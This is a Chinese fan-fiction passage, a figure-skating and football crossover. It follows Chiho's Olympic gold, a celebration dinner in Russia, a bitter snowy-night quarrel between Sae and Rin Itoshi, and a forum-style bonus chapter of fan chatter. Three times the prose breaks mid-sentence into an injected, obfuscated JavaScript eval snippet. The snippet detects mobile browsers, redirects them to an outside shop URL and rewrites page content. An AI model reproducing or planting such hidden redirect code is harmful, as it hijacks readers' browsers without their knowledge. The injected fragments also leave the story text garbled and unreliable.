起跳前有一组极快的捻转步,三圈,每圈都卡在音乐的鼓点上。她的身体在冰面上快速旋转,银白的裙摆扬起又落下,像燃烧的火焰被风卷起。 最后一圈转完的瞬间——起跳。 左后外刃切入冰面,膝盖蓄力到极致,右脚蹬冰的瞬间,她的身体腾空。 一、二、三、四—— 眼前的世界是那么光怪陆离,令她迷恋。 落冰后、她几乎没有停顿,再次蹬冰起跳接后外结环三周。 完美。 . 最后一个连跳、也是最后一次跳跃,是3A+3T。 阿克塞尔三周半接后外点冰三周。 起跳前是最经典的一串莫霍克步,每一次足与刃的转换都精准地踩在音乐的间隙里。 然后卡住最后一次换足第一次起跳、第一次落冰,眨眼睛又腾飞至空中—— 直到第二次落冰。 表演的尾声到来。 . 冴站起来了。 不是刻意的,是身体先于意识做出的反应。他站在客厅中央,盯着屏幕里的那个人。 屏幕里,千穗站在冰面中央。银白的考斯滕在灯光下几乎透明,那道蓝色的轨迹从肩到腰,成为唯一的色彩。她的手臂向两侧展开,头微微后仰,那双蓝眼睛看着天花板——看着那些看不见的、遥远的、不属于任何人的光。 ……她再一次将所有人甩在身后。 糸师冴想。 33.间章 ——总分256.72,女单新世界记录。 18岁的洁千穗夺得奥运金牌、实现了“全满贯”的目标。 与此同时,3月1日生日才满18岁的尤里.普利赛提实现了大满贯。 他还差一枚欧锦赛的金牌(相当于4CC金牌)才能达成全满贯,也因此相当不甘心。 “18岁拿到奥运金牌感觉没有尤里17岁的奥运冠军听上去厉害啊~”千穗发出来十分凡尔赛的声音。 虽然她就是这么想的。 “哈?你这个家伙说什么混账话啊!”尤里超级不爽道,“没有欧锦赛金牌的我拿什么跟你比!” “你们两个,是在炫耀吗?” 旁边,20岁参加了两届冬奥、但成绩都并不算理想的米拉掐住自己的勺子,皮笑肉不笑。 “好了好了,今天聚餐难道不是来给尤里庆祝生日、顺便恭喜他和千穗夺冠的吗?”维克托笑呵呵道,“大家火药味别这么浓啊。” “还要带上恭喜你终于退役、下赛季可以全程陪在勇利身边了。”千穗用平静无波的语气道,顺带把脸涨红的勇利面前的牛肉夹走。 “顺便说一下,在俄罗斯吃火锅真的很奇怪。” 尤里接着吐槽,“明明是我生日但为什么是她选地址啊!” “你晚上回家和爷爷一起庆祝生日,这次主要还是庆祝我们拿冠军啦。”千穗理直气壮地把一块涮好的牛肉塞进嘴里,“而且火锅多好,大家一起吃,热热闹闹的。” 尤里瞪着她,那双蓝绿色的眼睛里写满了“你这是什么歪理”。 “你们几个都没意见吗?!”他转向其他人,希望获得支持。 “火锅很好吃啦~”维克托笑眯眯地夹起一片羊肉,在麻酱碟里滚了一圈送进嘴里,露出满足的表情,“而且俄罗斯也有火锅真的很神奇啊。你们是从哪里找到这家店的?” “网上搜的。”千穗说,“评分最高的一家。” “在俄罗斯吃中式火锅庆祝奥运金牌和生日——”勇利端着饮料杯,语气有点恍惚,“怎么说呢,很和谐的感觉。” “你倒是吐槽两句啊!”尤里冲他喊。 勇利眨眨眼,认真地想了想:“但是确实挺好吃的。” 尤里放弃了。 旁边的米拉终于松开那把被她掐得快变形的勺子,叹了口气,认命地给自己盛了一碗汤。 “行吧,反正也是最后一次了。”她说,语气里带着点释然又带着点不甘,“下个赛季我要再拼一把,不能总让你们两个这样的小鬼霸着领奖台。” “我不是小鬼。”千穗和尤里异口同声。 米拉翻了个白眼。 “你们两个这种时候倒是很默契。” 千穗和尤里对视一眼,同时别过脸去。 “谁跟他/她默契。”又是异口同声。 米拉笑出了声。 格奥尔基在旁边默默给女朋友夹菜,偶尔插一句“这个熟了可以吃了”或者“那个蘸这个酱好吃”。他这次冬奥拿了第四,和奖牌擦肩而过,但看起来并不沮丧——大概是爱情的力量。 “对了,”维克托忽然想起什么,“千穗,你那个全满贯的新闻,这几天网上已经刷屏了。” “我知道。”千穗点点头,“来俄罗斯前看了一眼,LINE都快炸了。” “不回复吗?”勇利问,“你跟我们来俄罗斯真的没问题吗?” “回过了——庆功宴和尤里十八岁生日怎么能没有我呢?”千穗夹起一块冻豆腐,“而且我这几天只想好好吃一顿。” 尤里看着她,忽然安静下来。 “怎么了?”千穗注意到他的视线。 “……没什么。”尤里别过脸,声音低下去,“就是觉得,你好像也没那么高兴。” 餐桌上安静了一瞬。 维克托看了千穗一眼,没有追问,只是把一盘新下的羊肉推到她面前。 “多吃点,一会儿还要赶飞机。” 千穗弯起眼睛。 “好。” . 聚餐结束的时候,已经是深夜了。 走出火锅店,冷空气扑面而来,呼出的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364669|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成白雾。街道上还有不少穿着队服的人,三三两两地走着,偶尔传来笑声。 尤里站在门口,双手插在口袋里,看着千穗。 “你什么时候走?” “就今晚的飞机,还剩几小时。” “哦。” 千穗看着他,忽然伸出手。 “干嘛?”尤里警惕地往后退了一步。 “抱一下啊。”千穗理所当然地说,“你生日,我夺冠,不抱一下庆祝吗?” 尤里的脸以肉眼可见的速度涨红。 “谁、谁要——” 但千穗已经上前一步,张开双臂,轻轻抱了他一下。 很轻,像羽毛落在肩膀上。 “生日快乐,尤里奥。”她说,“欧锦赛加油。” 然后她松开手,退后一步,冲他挥挥手。 “走了。” 尤里站在原地,看着她转身走向街对面的车。 “……喂。” 千穗回头。 “你那个全满贯,”尤里的声音硬邦邦的,“很厉害。” 千穗愣了一下。 然后她笑了。 “你也是。” . 回日本的飞机上,千穗靠在窗边,看着窗外漆黑的夜空。 机舱里的灯已经调暗了,大部分乘客都在睡觉。勇利坐在她前面,盖着毯子,呼吸平稳。维克托坐在勇利另一边,也睡着了,银灰色的头发在昏暗的灯光下显得有些柔软。 千穗掏出手机,屏幕亮起来。 消息列表里躺着几百条未读。她往下翻,翻过世一的、父母的、凛的、萨拉的、莱莉的、夜鹰纯的—— 然后停下来。 糸师冴的头像旁,有一条未读消息。 【Sae:恭喜】 发送时间是五天前。 五天前。 她一直没回。 千穗盯着那两个字,手指悬在屏幕上方,闭了闭眼,最后改将手机关机。 她靠着椅背,想要入睡,却控制不住回忆起了那个雪夜。 34.夜雪 十二月三十日。 洁千穗刚参加完全日锦标赛,达成五连冠成就,在等1月1日的生日。 ……糸师冴三天前说了他今年会赶回日本,过年,陪她过生日。 千穗站在窗前,看着外面黄昏将至的天色。手机握在手里,屏幕亮着,是她和冴的对话框。最后一条消息是他发的——已经登机了。 他最初说好是明天的飞机,结果现在提前了一天。 千穗盯着那行字看了很久,然后把手机收进口袋。 “世一,”她转身,“我们去镰仓。” 正在写作业的洁世一抬起头,笔尖在纸上戳出一个小黑点。“现在?” “嗯。”千穗去拿外套,“冴今天回来,提前了一天,大概会先找凛,我们也去。” 世一愣了一下,然后放下笔。“去找凛?” 千穗没回答。她已经走到玄关换鞋了。 世一跟上来,看着她紧绷的侧脸,想问什么,但最终什么都没说。他只是默默穿好鞋,跟在她身后出了门。 从埼玉到镰仓的电车上,千穗一直没说话。她靠在窗边,看着窗外飞速后退的夜景,手指无意识地摩挲着手机壳的边缘。世一坐在她旁边,偶尔偷偷看她一眼。 “姐姐,”电车快到镰仓的时候,他终于忍不住开口,“你是不是在担心什么?” 千穗回过神,看了他一眼。世一的眼睛在车厢的灯光下显得很亮,带着那种她熟悉的、想要帮忙却不知道该做什么的紧张。 她伸手揉了揉他的脑袋。“没什么,就是想去看看凛。” 世一没有追问,只是点了点头。 他们到球场的时候,黄昏将近尾声。冬日的天黑得早,西边的天空还剩最后一抹橘红,球场边的路灯已经亮了,在草地上投下一圈圈昏黄的光。 糸师凛正在场上练习。他穿着一身深蓝色的训练服,墨绿色的头发被汗打湿,贴在额头上。他刚踢进一个球,皮球滚进球网的瞬间,他的动作顿了一下——大概是听见了脚步声。 他转过头,看见千穗和世一站在场边,表情从专注变成疑惑。“千穗姐?世一?”他走过来,顺手捡起滚到脚边的球,“你们怎么来了?” 千穗把提前准备好的说辞说出来:“冴今天就回来了,提前了一天。大概会过来看你。” 凛愣了一下。然后他的眼睛亮了起来,那种亮法让千穗心里一紧。 “真的?”他的声音里带着压抑的兴奋。 千穗点点头。“你和世一一起练习一会儿吧,然后休息下。”世一虽然不明白姐姐为什么突然带他来镰仓,但还是乖乖点头,脱了外套扔给千穗,跑上场。 凛把球传给他,两个人开始在中场来回传球。千穗站在场边,看着他们在暮色里奔跑。凛今天的状态很好,接球、停球、出球,每一个动作都比平时更利落。他大概以为哥哥会来看他踢球。 世一也感受到了凛的兴奋,传球的时候多用了三分力,被凛稳稳停住。“你今天吃错药了?”凛嘴上不饶人,但嘴角翘着。 “你才吃错药了。”世一把球抢回来,脚后跟一磕,球从凛两腿之间穿过。凛转身追上去,两个人开始在球场上较劲。 千穗看着他们,想着自己的计划:有她和世一两个外人在,凛总该控制一下情绪,冴也不好把话说得太绝。但她又有些不确定——凛看起来什么都不知道。冴没有告诉他。这几个月凛没有任何异样,训练、比赛、和世一视频写作业,一切都和往常一样。冴还是没听她的意见早点告诉凛吗? 天黑得很快。路灯的光变得明亮起来,在草地上画出一个个光圈。然后,开始下雪了。 很小的雪花,从黑暗的天空飘下来,落在灯光里,闪着细碎的光。凛刚踢进一个球,正弯腰捡球,抬起头的时候,雪花落在他的睫毛上。 千穗站在场边,看着那片雪花在他睫毛上融化成一个小小的水珠。她忽然觉得,也许该告诉他。 “凛。”她开口。凛直起身,抱着球走过来。 千穗犹豫了一下。“你知道冴之后的目标打算吗?” 凛愣了一下。“什么?” “我是说,”千穗斟酌着用词,“冴在西班牙遇到了一些事。他发现自己的天赋可能更适合中场……” “你在说什么?!”凛的声音突然拔高。他抱着球的手收紧了,指节发白。 世一在旁边愣住了。“冴哥没跟你说这件事吗?”他不久前被姐姐告知了这件事,还去联系了冴哥,冴哥说会跟凛说的。 凛的表情从困惑变成惊疑,“不可能!哥哥怎么可能——” 就在这时,一个声音从球场入口的方向传来。 “刚才的球路,太天真了吧。” 三个人都转过头。糸师冴站在球场入口的灯光下,穿着俱乐部那件白色外套,拉着行李箱,领口竖起来,雪花落在他肩上,很快就融化了。他的表情和平时没什么两样,但千穗看得出那平静下的东西——疲惫,落寞,还有一种她在他身上很少见到的不确定。 凛愣在原地,下意识上前几步、又停下,“哥……欢迎回来。” 他的声音有些发抖,不知道是因为冷还是因为别的。 冴看着他,没有接话。 凛深吸一口气,像是下定了什么决心。“刚才千穗姐说的不是真的吧?你可是雷·阿尔青训队出场,还有进球,那么厉害怎么可能会转中场!”他的声音越说越大,越说越快,像是要用音量把那句话击碎。 冴面无表情地看着他。然后他伸出左手。 那只手在灯光下显得很白,骨节分明,指尖微微蜷着。千穗认识那只手——握笔的时候、拿水杯的时候、插在口袋里的样子、把围巾拉高盖住半张脸的样子。 “她说的是真的。”冴的声音很平静。“还有比我更厉害的人。” 凛的眼睛瞪大了。“怎么会……哥哥为什么突然这么说?” 冴没有回答。他的左手慢慢握成拳头,放在身侧,手指一根一根收紧。 “所以我换了个梦想,”他说,声音依旧是平静的,但千穗听得出那平静底下的东西——像冰面下的水流,看不见,但一直在动。“我要成为世界第一中场。” 凛瞪着他,嘴唇微微发抖。 “是前锋才对吧,”他的声音从喉咙里挤出来,“当中场的话,就算成了世界第一又有什么意义……” “烦死了。”冴打断他,双手重新插进口袋里。他看着凛,眼神里有疲惫,有失望,还有一种凛看不懂的东西。“没见识过世界水平的家伙才会这么说。” 千穗终于忍不住了。“你们两人要不要先冷静一下?”她走上前,站在两兄弟之间。“冴,我还以为你会早点跟凛说这件事的。现在也太突然了吧,凛没有心理准备听不进话也是当然的。” 冴看了她一眼。“这种话当然要当面告诉他。” “这是什么话!”凛的声音从她身后传来,带着压抑的颤抖,“哥哥不是说要一起战斗吗!” 冴的视线从千穗身上移开,落在凛脸上。那视线平静得像一面结了冰的湖。 “是啊,”他说,“所以我作为中场,你作为前锋,努力成为世界第一……” “我是世界第一前锋的弟弟!”凛打断他,声音几乎是在喊。 冴皱起眉。那个动作很轻,但千穗看见了。她认识他这么多年,太清楚那个皱眉的意思——不是生气,是失望。 世一也意识到了什么,小心翼翼地上前一步。“冴哥,你赶飞机太累了吧?先休息一下。凛也冷静……” 但凛根本听不进去。“这次回来,就是为了跟我说这么逊的话吗?我不想看到这样的哥哥——”他的声音在发抖,却似乎是因为愤怒,“跟我一起做梦的人,才不是这样的哥哥!” 冴的眉头越皱越紧。他的双手从口袋里抽出来,垂在身侧。 “我现在懂了,”他说,声音比之前更低,更沙哑,“太温吞了。不管是你,还是我。”他的视线落在地上,落在灯光和雪花的阴影里。 凛愣住了。 “什么意思……” 冴抬起头。他的目光扫过凛,扫过世一,最后落在千穗身上。那双眼睛在灯光下显得格外冷,与冬天深夜的那种没有星星、没有月亮、只有无尽的黑相衬。 “你们也是,”他说,“在这里很碍事。” 千穗和世一同时睁大眼睛。 世一不自觉地退后一步。 千穗没有动,但她的手攥紧了。 “洁世一,”冴的视线移到世一身上,声音依旧是那种沙哑的、没有温度的平静,“你的愚蠢更是在凛之上。小时候在姐姐的哄话下幻想着要成为世界第一前锋,说什么和凛、和我比赛——结果不过是不自量力,一直在浪费天赋,甚至连自己的想法都没有。” 世一的脸色白了。 “糸师冴你什么意思!”千穗的声音比她预想的更尖锐,像是从胸腔里硬挤出来的。“你去西班牙几年语言能力退化到连跟人好好说话都不会了吗?!” “冴、冴哥……”世一的声音很小,“你在说什么……” 冴没有理他。他的目光从千穗身上移开,重新落在凛脸上。 “这样吧,”他说,“一对二。只要你们有一个能赢过我,就证明我的观点是错的。”他的语气平静得像在陈述今天的天气。 凛往后退了一步。“不要……”他的声音在发抖,“哥哥,你不要自作主张啊……我不想比……” 千穗上前一步,一脚踩住滚到脚边的足球。“糸师冴你别这么自以为是好吗?” 冴低头看着那只踩在球上的脚。那只脚穿着一双白色的运动鞋,鞋带系得很紧,滑是过很多冰面、站过很多次领奖台的脚。 “你作为即将实现梦想的天才,根本不必陪他们做蠢事。”他的声音很轻。“让开。” “别人在的时候不能跟家人吵架这种礼仪你都不懂吗?”千穗没有让开。 冴没有说话。他左脚勾住球,从千穗脚下把球拨出来,同时一只手拽住她的手臂,帮她稳住重心。然后左脚再次一勾,球从他脚下滚出去,滚向球场中央。 “一球决胜负。” 他松开手。千穗踉跄了一下,被世一扶住。 “等——”凛想拦住他,但冴已经从他身边掠过了。 那个速度——凛的眼睛瞪大了。跟他在日本时完全不一样。那种从蹬地到启动之间几乎没有间隙的爆发力,那种重心转移时身体的流畅度,那种每一步都踩在精确位置上的控制力——这是他在日本从未见过的、属于另一个世界的东西。 “好快,”世一喃喃,“这就是……冴哥现在的水平吗……” “尼酱!”凛咬牙追上去,拼尽全力挡在球门前。 冴看着他。那个眼神——不是看对手的眼神,是看一个很久没见、发现对方一点都没长大的眼神。 “凛,我不在的这四年……”他绕过凛,那个动作干净利落,像刀切进水里,连一点水花都没溅起来。“你在这里,都做了些什么?” 他起脚。球从他脚下飞出去,划出一道弧线,越过凛的头顶,越过球门线,撞在球网深处。 “结束了。” 他收回脚,转头看向世一。那一眼很淡,淡到几乎没有情绪。“你呢,连上前都不会吗?就这么被姐姐操控,连学校没个像样的足球社都没关系,真是没出息啊。” “不要这么说!”世一扶着千穗,声音在发抖,但语气很坚定。 冴没有再看他。 他背对着他们,站在球场中央,雪花落在他肩上、发上、那件白色外套的领口。 “哥哥,等一下。”凛的声音从身后传来,带着压抑的喘息和颤抖。“你走了之后我非常努力啊。为了成为日本第一、为了跟哥哥一样被球探相中、为了能代替哥哥,我为球队而战,按照约定成为了日本第一啊……”他的声音越来越小,越来越碎,“你却要我就这样结束……不能跟哥哥一起追逐梦想……我……我就……没有理由踢足球了。” 冴转过身。他看着跪在地上的凛,那个眼神让千穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366460|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心脏猛地缩紧了——那不是失望,那是一种比失望更深的东西。 “那就别踢了。” 凛抬起头,眼睛里全是不可置信。 世一也愣住了,“……冴哥你到底怎么了?” 冴从凛身边走过,步子很快,毫无留恋。 他侧过头,看向跪在地上的弟弟,声音依旧沙哑:“什么日本第一,什么代替哥哥——真叫人反胃。” 他的声音突然有了重量。 “不准再把我当成你踢足球的理由了。” 雪下得更大了。风卷着雪花从他身后吹过来,把他额前的头发吹起来,露出完整的额头和那双眼睛。那双眼睛里有疲惫,有愤怒,有失望,还有千穗从未见过的、几乎要把他整个人吞没的某种东西。 “对我来说,你现在只是个既碍眼又麻烦的弟弟。”他的声音很轻,轻到几乎被风声盖住,“我说错了一句,你连旁边那个浪费才华的废物都不如——他好歹放弃花滑凭自己选择了足球。” 他转过身,背对着所有人。 “消失吧,凛。”他说,“你没有任何价值。我的人生已经不需要你了。” 千穗挥开世一的手冲上去。 她拽住冴的衣领,力气大到那件白色外套的领口被她攥出深深的褶皱。 “你特么再骂他们一句试试?!”她的声音在发抖,因为愤怒。“都跟你说了早点告诉凛、跟他好好沟通,都告诉你先冷静一下了,你是耳朵聋了吗?” 她转过头,对着跪在地上的凛喊:“还有凛!好歹活了十五年一点看人脸色的能力都没有是吗?你哥明显状态不对还要反驳他、嫌他骂得不够狠吗?” 凛被她吼得浑身一震。那双灰暗下来的眼睛里,崩溃的情绪被这一声吼劈开一道缝,露出一丝清明。 “你们两兄弟当着别人面吵架不觉得很失礼吗?”千穗的声音低下来,但每个字都咬得很重。 冴低头看着她。她拽着他衣领的手在发抖,指节发白,和他刚才握拳的样子一模一样。 “那又怎样?”他的声音很轻。“这是我和凛的事,你们插手更失礼吧。” “你个白痴!”千穗的声音又拔高了,“我以为我想掺和这件事吗?而且你刚刚可是把世一也骂进去了——” “你喜欢管控别人的毛病也该克制下了。”冴打断她,声音比之前更冷,“根本不了解绿茵场的门外汉就别指手画脚了。” “这已经不是单纯足球的问题了!”千穗几乎是在吼,“我知道你很累、但你能不能先把自己转中场的理由完整地告诉凛?你们是亲兄弟这些事没必要这么瞒着吧?别再死要面子了行吗?” “随便你。”冴的声音突然变得很平静。那种平静让千穗心里一凉。 他伸出手,握住她拽着自己衣领的手腕。他的手指很凉,骨节硌在她腕骨上。“我不认为不想自己踢球的家伙能懂这些。” 他一根一根掰开她的手指。 “你特么被别人踢得认为自己没有前锋才能就直说!”千穗声音抖得更厉害了,因为她开口后意识到自己也气急败坏、口不择言了,“家人朋友难道没资格了解你的经历吗!” 冴的动作停住了。 千穗感觉到他握着自己手腕的手指收紧了一瞬,然后又松开。她抬起头,对上他的眼睛。那双眼睛里有什么东西碎了,又有什么东西在烧。 “你以为自己有多了解我?”他的声音很低,低到几乎是从喉咙里碾出来的。“金钱、资源、人脉……什么也不缺,一直被人照顾在哪里都顺风顺水的家伙知道什么!” “那你就觉得自己很了解我?”千穗的声音比他更大,更尖锐,像是要把什么东西撕开。“常年在外我怎么可能一点都不知道那些东西!”她的眼眶红了,但眼睛睁得很大,“不然我为什么送那两条手链!” 两个人都愣住了。 雪还在下,落在他们肩上、发上、交握的手上。球场的灯光把他们的影子拉得很长,交叠在一起,分不清谁是谁。 “姐姐……”世一的声音从很远的地方传来。 千穗深吸一口气,松开手,走到弟弟身边。 “世一,抱歉我不该带你来的。”她的声音平静下来,但那种平静比刚才的吼叫更让人害怕。“但这件事跟你无关,你带着凛先走吧。” “自己的弟弟管不过来还有管凛吗?”冴的声音从身后传来,带着那种让人牙痒的冷淡。 千穗猛地转身。“闭嘴!”她的声音还在发抖,“刚刚骂我弟的不也是你个蠢货吗?比起我你更像个抖S吧!” 冴看着她,没有再说话。雪落在他的睫毛上,融化成小小的水珠,和刚才凛睫毛上那滴一模一样。 两个人对峙着站在球场中央,灯光从头顶照下来,把他们的影子钉在地上。谁都没有再开口。 最后,是千穗先动了。她转过身,声音很轻,轻到几乎听不见:“我以后特么再掺和你的事我就不姓‘洁’了!” “姐!”世一的声音里带着惊慌,这已经是比姐姐不停骂脏话更可怕的事了。 千穗没有回头。她拉着世一的手腕,大步往球场外走。走了几步,又停下来。“世一,”她的声音从牙缝里挤出来,“我们走。” 世一被她拽着,踉跄了两步。他回头看了一眼——凛还坐在地上,低着头,肩膀在抖。冴站在原地,背对着所有人,那件白色外套上落满未化的雪。 他想说什么,但千穗的手攥得很紧。 他们的脚步声越来越远,消失在雪夜里。 冴一个人站在球场中央。雪还在下,落在他肩上、发上、睫毛上。而那件白色外套的领口被攥过的褶皱仍旧在。 他转身,往另一个方向走去。行李箱还放在球场入口处,轮子上积了一层薄雪。他拉起行李箱,没有回头。 凛一个人坐在地上,一动不动。 雪落在他头发上、肩膀上、手背上,化了又落,落了又化。 不知道过了多久,他慢慢站起来。拖着有些坐麻的腿,往家的方向走去。 35.番外(论坛体) 称呼: 维皇/大毛/马爹=维克托 鹰帝/纯哥/夜神=夜鹰纯 大郎/鸟哥=鴗鸟慎一郎 猪排饭/勇哥=胜生勇利 二毛/尤王/王子=尤里 芭比=米拉.芭比切娃 二师兄=格奥尔基.波波维奇 梅梅=克里斯托夫·贾科梅蒂 匹诺曹=米凯莱·克里斯皮诺 狐狸/莱莱子/锐利姐=莱莉.福克斯 七七/千岁爷/穗神/七皇=洁千穗(“chiho”中“chi”谐音“七”) 写完称呼读了一遍,作者君有点脚趾抠地了,不过一般选手最常用的称呼就一两个(比如K莎千,女王,柚子/牛,普皇,马琳琳),再一些杂七杂八的称呼和黑称啥的 帖子时间线大概是23年大奖赛 ———————————— 0L RT 本人算了下,03年到10年夜神称霸,10到16年是维皇称霸,16年无缝衔接二毛和勇哥,二毛一直撑到现在 14年开始们穗神独步天下到今年ogg×2 而且这几年的日萝成绩也很不错啊,不仅SeniorGP总决赛五人出线,Junior组两人中还有个12岁就出四周跳的,乐观计算她日还能再战十年 1L 细节人称代词 2L 她日能不能再战十年我不想知道,我只想知道七七真的要退役了嘛,今年GPF都没参加…… ——都23岁了,再不退役都虐待老人了 ——T.T,这种事情不要啊好舍不得 ——七皇已经是史无前例的ogg二冠王了,再不退役都要阴谋论了 3L 再战十年也太乐观了吧,五年最多了……发育沉湖的可不少 ——这一点上,我们穗神发育期出了五个四周到现在场上一次都没摔过还是太权威了 ——此女简直不是人 ——是神(确信) 4L xs你俄跟你日的男单女单就这样交替称霸 5L 话说鸟哥的儿子好像也练花滑,明年就升组了 ——鸟哥是谁啊? ——索契28岁银牌的那位啊,叫鴗鸟慎一郎,鹰帝好友,10年鹰帝退役后到14年和勇哥争你日男单一哥的人,人称“大郎”或“鸟哥” ——可恶,这年头大家居然连鸟哥都不知道了 6L 我们雅组还是太权威了,两个全满贯,三个ogg,俄前一姐也在组内 7L 12岁就出四周也太可怕了,现在的女单都卷成啥样了,当年开启女单四周时代的七皇出第一个4S可是14岁啊 ——准确来说开启女单四周时代是的狐狸,而且她第一个跳的就是4F ——但是七七没几个月就出4S了,两年时间就落地了五种四周跳,锐利姐18岁就退役了,只有4F是她第一个跳的,其他都是七七,后面为了跟七七比女单才狂卷四周啊 ——?那也不影响第一个跳四周的是狐狸,你七还得往后排 ——这楼要吵起来 …… 13L 乐,贷款十年都来了,而且他俄都禁赛了,可以把他俄删了 14L 你美曾经的一姐不知道为啥那么早退役,16年4CC四周照样出没见一点沉湖的迹象,就是不参加一个月后的世锦 ——可能是输给千岁爷两次太打击人了?事不过三再输就不礼貌了 ——狐狸和七七关系挺好的,狐狸俱乐部还有七七投资呢,不至于吧,她不14年就想退役去日那边逐梦了吗? ——锐利姐去她日建俱乐部的梦想还是太难绷了 15L 别光盯着日萝啊,猪排饭这赛季就退役了,现在他日男单真没人了, 毛男那边更是完蛋,二毛直接被禁赛 ——炸猪排和马爹终于过他们的二人世界去了 ——……马爹? ——马卡钦它爹 ——懂了 16L 其实俄萝在14年七皇升组前后都很能打,稳拿前三,16年七皇升组后你俄一姐芭比也是经常和她一起站奖台 ——顺便说一下,芭比还是七皇师姐呢 …… 20L 所以二毛是谁? ——?bro你几几年的,怎么连这都不知道 ——二毛就是尤里奥啊,尤王,和他师兄维皇一起被我朝粉丝称作大毛二毛,我觉得还挺好理解的 ——其实应该是三毛,毕竟他俩中间还有一个格奥尔基 ——乐,二师兄日常被忽略 21L yysy要是我朝那一天也能有隔壁这俩的花滑运就好了 22L emmm隔壁这俩是真不科学,尤其是她日,除了花滑其他体育项目也人才辈出 23L 所以标题的30年是03年到今年23年的二十年+贷款十年? 24L 我们芭比这赛季退役了……好难过…… 25L 楼上,雅组的几个全特么是常青树了,维皇28岁休赛过,复出三年31岁才退役,二师兄撑到了29岁结婚退役,猪排饭上赛季挺到京张也29、今年更是30岁了,芭比今年都24岁了,已经超过毛男俄萝退役年龄,王子和七皇也23岁了 ——hhh,们勇哥日常混入雅组 ——勇哥和七七怎么也被当毛男俄萝算了 ——打字打太快了搞错了,不过七皇还没宣布退役不知道,但猪排饭也是超过男单平均退役年龄了 26L 你米再不退役膝盖得废,她可是成年后才卷出四周跳的 …… 27L 可怜的王子,这么多年就差1块EC能达成全满贯了,结果被禁赛了 28L 尤王这辈子怕是都不能登基成尤皇了 29L Yuri Angels都释怀地笑了 ——其实是心死了吧 ——TvT 30L 22—23赛季我们王子的EC金牌又被谁拿了? 31L 16年被复出的大毛拿了,17年是小艾咪(就是埃米尔.尼古拉,这家伙后面改当编舞了),18年刚拿了ogg在休息没参加,19年是准备退役的梅梅最后一舞,20年腿伤休赛,21年EC因为疫情被取消了,22年好像是匹诺曹(他妹妹萨拉更有名点,也是常跟七七芭比一起站奖台的) ——这不就是16年大奖赛的几位吗? 32L 这么一看我们王子好惨,其他比赛金牌拿了个遍,结果频频在欧锦赛失礼,银牌拿了一年又一年 33L [惨jpg.] 34L [惨jpg.] 35L [惨jpg.] ……… 43L 我们这是歪楼了吧?话说楼主还在吗? 44L 不知道啊,我只知道莱莱子18岁退役和纯哥20岁退役一样神秘,这俩退役后之后花滑完全变成雅组的天下 45L 这么一看,雅科夫是什么天选教练啊?明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373925|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明他自己当选手时成绩一般来着,就是以资源丰富出名 46L 老头前妻可是波修瓦芭蕾舞团的前首席 47L 话说七皇也能被算入雅组吗?她只是每年固定时间去俄罗斯外训吧,而且18年拿了ogg以后就不咋去了 ——那你说出了叫她花滑的启蒙教练和青年组时的高峰教练,还有哪位教练带过她啊? ——貌似也就大毛带了半年的,两次冬奥国家队主教练啥的应该不算 ——蜻蜓也不算,她虽然是俱乐部主教练,但在穗皇那边一直是助理来着 ——“蜻蜓”又谁? ——七七的助理教练蜻堂纱绯子,之前也是花滑选手,成绩还不错,但不算特别顶尖 48L 七七10岁就去雅组了,听说还是夜神给搭得线,牵扯到大毛和索总 ——怎么还有索总的事?他不是编舞师嘛 ——索总是说雷奥尼多吗?我记得他有段时间被叫做“神的专属编舞师”,夜神和穗神都找他编舞来着 ——那就难怪了 ——反正勇哥都因为他对象大毛的原因经常被算进雅组,我们七七可是从小就跟二毛一起训练的,怎么就不算雅组了? 49L 我圈唯二被称为神的两人,居然认识?! 50L 不止认识,两位大魔王也算“师徒”哦 50L !!!楼上细嗦[吃过jpg.] 51L 我来科普! 七七19年的采访说了自己四岁的时候刚学花滑,和纯哥一个俱乐部(纯哥当时十四岁,比她大十岁),特别喜欢看纯哥练习,后面纯哥频繁转俱乐部了两人就分开了 本来事情到这就结束了,但我们都知道七七从小运气特别好一路遇贵人,她的俱乐部都是第一位赞助商专门为她建的,然后我们的纯哥就这么被俱乐部豪华的条件吸引了,两人又遇上了,这次貌似还加了联系方式 之后纯哥退役,七七说自己一直给他发消息,结果这人别的不回,就挑剔她的花滑视频(原话是“纯只看我发的视频,喜欢看完后指导我的跳跃,有时候比教练还挑剔”),七七也觉得这样很好,两人就这样一直到现在都保持联系 总之,纯哥也算七七的线上教练吧 ——这个是采访原视频:[视频链接] ——w两个人就是这样被叫做师徒组的 52L 两个人就这样撑起了你日二十年的花滑巅峰 53L 此女就这样运气好得宛如老天的亲女儿 54L 就因为夜鹰和七七有联系,七七还被鹰粉狂问他退役原因呢 ——然后鹰粉被穂苗们教做人了 ——拜托,穂苗的战斗力堪比国内内娱粉好不(国内七粉战力更是恐怖) 